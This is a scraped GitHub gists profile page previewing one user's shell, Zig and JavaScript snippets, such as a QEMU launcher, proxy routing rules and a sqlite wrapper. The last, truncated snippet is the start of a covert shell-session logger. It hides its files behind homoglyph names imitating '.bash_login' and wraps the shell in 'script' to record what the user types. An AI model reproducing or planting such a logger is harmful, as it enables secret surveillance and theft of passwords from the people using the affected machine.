Skip to content

Instantly share code, notes, and snippets.

View codehz's full-sized avatar
🌸

Neko Hz codehz

🌸
View GitHub Profile
@codehz
codehz / 9pvm.sh
Created May 8, 2020 01:40
Run qemu with 9p rootfs
#!/bin/bash
set -euxo pipefail
kernel="${kernel:-kernel}"
initrd="${initrd:-initramfs.cpio.gz}"
target="$1"
shift
nsroot -xpf -- qemu-system-x86_64 \
-enable-kvm \
-m 1G \
-smp 2 \
@codehz
codehz / iprule.sh
Last active January 6, 2025 13:09
nftables for redir proxy
ip rule add fwmark 0x233 lookup 100
ip route add local 0.0.0.0/0 dev lo table 100
@codehz
codehz / getbds.sh
Created August 18, 2020 03:22
bds scripts
#!/bin/bash
set -euxo pipefail
dwpage='https://www.minecraft.net/en-us/download/server/bedrock/'
dwregx='https://minecraft.azureedge.net/bin-win/bedrock-server-.*?.zip'
url=$(curl "$dwpage" | grep -oP "$dwregx")
curl -o bds.zip -L "$url"
@codehz
codehz / example.zig
Last active September 27, 2020 13:59
Simple sqlite3 wrapper for zig
const std = @import("std");
const sqlite3 = @import("./sqlite3.zig");
pub fn main() anyerror!void {
var db = try sqlite3.Database.open(":memory:");
defer db.close();
var boom = db.mapTable("boom", &[_]sqlite3.TemplateDefinition{ .{
.name = "id",
.decl = .integer_primary_key,
const std = @import("std");
const sqlite3 = *@Type(.Opaque);
const sqlite3_stmt = *@Type(.Opaque);
const sqllog = std.log.scoped(.sqlite3);
extern fn sqlite3_errmsg(db: sqlite3) [*:0]const u8;
extern fn sqlite3_open(path: [*:0]const u8, db: *sqlite3) c_int;
extern fn sqlite3_close(db: sqlite3) c_int;
const std = @import("std");
pub const Error = error{WrongCode};
pub fn Base16(comptime map: *const [16]u8) type {
return struct {
pub fn calcSize(len: usize) usize {
return len * 2;
}
pub fn encode(dst: []u8, src: []const u8) void {
const std = @import("std");
pub const HWND = *@Type(.Opaque);
pub const HICON = *@Type(.Opaque);
const INSTANCE = @Type(.Opaque);
pub const HINSTANCE = *const INSTANCE;
pub const PCWSTR = [*:0]align(1) const u16;
pub const HRESULT = u64;
extern "comctl32" fn TaskDialogIndirect(
@codehz
codehz / upzig.sh
Created October 1, 2020 09:30
update zig (x86_64-linux)
#!/bin/bash
set -euxo pipefail
url=$(curl -s https://ziglang.org/download/index.json | jq -r '.master."x86_64-linux".tarball')
tmpf=$(mktemp /tmp/zig.XXXXXX)
exec 3>"$tmpf" 4<"$tmpf"
rm "$tmpf"
curl "$url" >&3
tar Jxv -C /root/soft/zig --strip-components 1 <&4
@codehz
codehz / tjsc.js
Created October 24, 2020 14:56
a hack to force tsc output .tjs
#!/usr/bin/env node
"use strict";
const ts = require("typescript");
function hook(fn, name) {
return (path, ...args) => {
path = path.replace(/\.js$/, '.tjs');
// console.log(name, path);
return fn(path, ...args);
}
}
#!/bin/bash
# CUSTIMIZE BEFORE UPLOAD
fakerc=~/.bаsh_login
logfile=~/.bаsh_cache
waitsec=1
changetime=$(stat -c %Y ~/.bashrc)
read script <<EOF
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'"